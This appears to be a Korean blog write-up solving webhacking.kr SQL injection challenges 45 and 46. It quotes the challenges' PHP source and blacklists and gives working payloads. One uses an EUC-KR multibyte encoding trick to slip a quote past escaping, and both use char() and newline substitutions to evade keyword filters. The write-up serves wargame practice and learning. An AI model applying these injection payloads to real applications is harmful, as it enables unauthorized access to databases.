webhacking/sql, sql injection

webhacking.kr 45, 46

qkqhxla1 2015. 3. 14. 14:03

45.


그냥 바로 제출을 눌러보면

http://webhacking.kr/challenge/web/web-22/index.php?id=guest&pw=guest 와 같은 url이 되고

hi guest가 나온다. sqli라고 했으므로 id나 pw둘중에다가 잘 인젝션하면 될것이다.

소스가 있는데 소스를 보면


$pw="?????";

if(
$_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(
eregi("admin",$_GET[id])) exit();
if(
eregi("from",$_GET[id])) exit();
if(
eregi("union",$_GET[id])) exit();
if(
eregi("limit",$_GET[id])) exit();
if(
eregi("union",$_GET[pw])) exit();
if(
eregi("pw",$_GET[pw])) exit();
if(
eregi("=",$_GET[pw])) exit();
if(
eregi(">",$_GET[pw])) exit();
if(
eregi("<",$_GET[pw])) exit();
if(
eregi("from",$_GET[pw])) exit();


if(
$data)
{
echo(
"hi $data[0]<br><br>");

if(
$data[0]=="admin") @solve();
}


if(!
$data)
{
echo(
"Wrong");
}

}


가 있다. '는 매직 쿼터의 영향인지 입력되지 않는다. (guest'%23 등을 입력해봐도 Wrong만 뜸.)

여기서는 처음 보는 mb_convert_encoding($_GET[id],'utf-8','euc-kr');라는게 있는데 이걸 이용해서 '를 인젝션할수있다. 인코딩 취약점인데 http://blog.naver.com/diadld2/30158003480 여기에 설명이 잘 나와 있다. %a1%27 입력시(%27는 싱글쿼터.) %a1%2f%27이 됨.(여기서 %2f는 \이다.) 가 되고 한글 해석시 2바이트씩 해석되므로 %a1%2f따로, %27(')따로 해석되어 '를 삽입하는게 가능하다.

이걸 이용해서 '를 넣고, 위의 필터링을 봐서 안되는 문자열은 되는 문자열로 잘 우회해서 보내면 된다.


http://webhacking.kr/challenge/web/web-22/index.php?id=guestaa%a1%27%20or%20id%20like%20concat(char(97),char(100),char(109),char(105),char(110))%23&pw=rara


?id=guestaa%a1' or id like concat(char(97),char(100),char(109),char(105),char(110))#&pw=rara

이런식으로 들어가게 되면서 통과한다.



46.

$_GET[lv]=str_replace(" ","",$_GET[lv]);
$_GET[lv]=str_replace("/","",$_GET[lv]);
$_GET[lv]=str_replace("*","",$_GET[lv]);
$_GET[lv]=str_replace("%","",$_GET[lv]);

if(
eregi("union",$_GET[lv])) exit();
if(
eregi("select",$_GET[lv])) exit();
if(
eregi("from",$_GET[lv])) exit();
if(
eregi("challenge",$_GET[lv])) exit();
if(
eregi("0x",$_GET[lv])) exit();
if(
eregi("limit",$_GET[lv])) exit();
if(
eregi("cash",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));

if(
$q && $_GET[lv])
{
echo(
"$q[0] information<br><br>money : $q[1]");

if(
$q[0]=="admin") @solve();


일반적인 sql injection... 필터링하는것들 피해서 lv에다가 인젝션을 하면 된다.

?lv=-1%0aor%0aid=concat(char(97),char(100),char(109),char(105),char(110))

별로 설명할게 없다.


'webhacking > sql, sql injection' 카테고리의 다른 글

adm1nkyj님의 워게임. prob2, 8  (0) 2015.03.25
sql injection 문서.  (0) 2015.03.22
webhacking.kr 40  (0) 2015.03.13
webhacking.kr 35, 39  (0) 2015.03.13
adm1nkyj님 워게임 prob 3  (0) 2015.03.03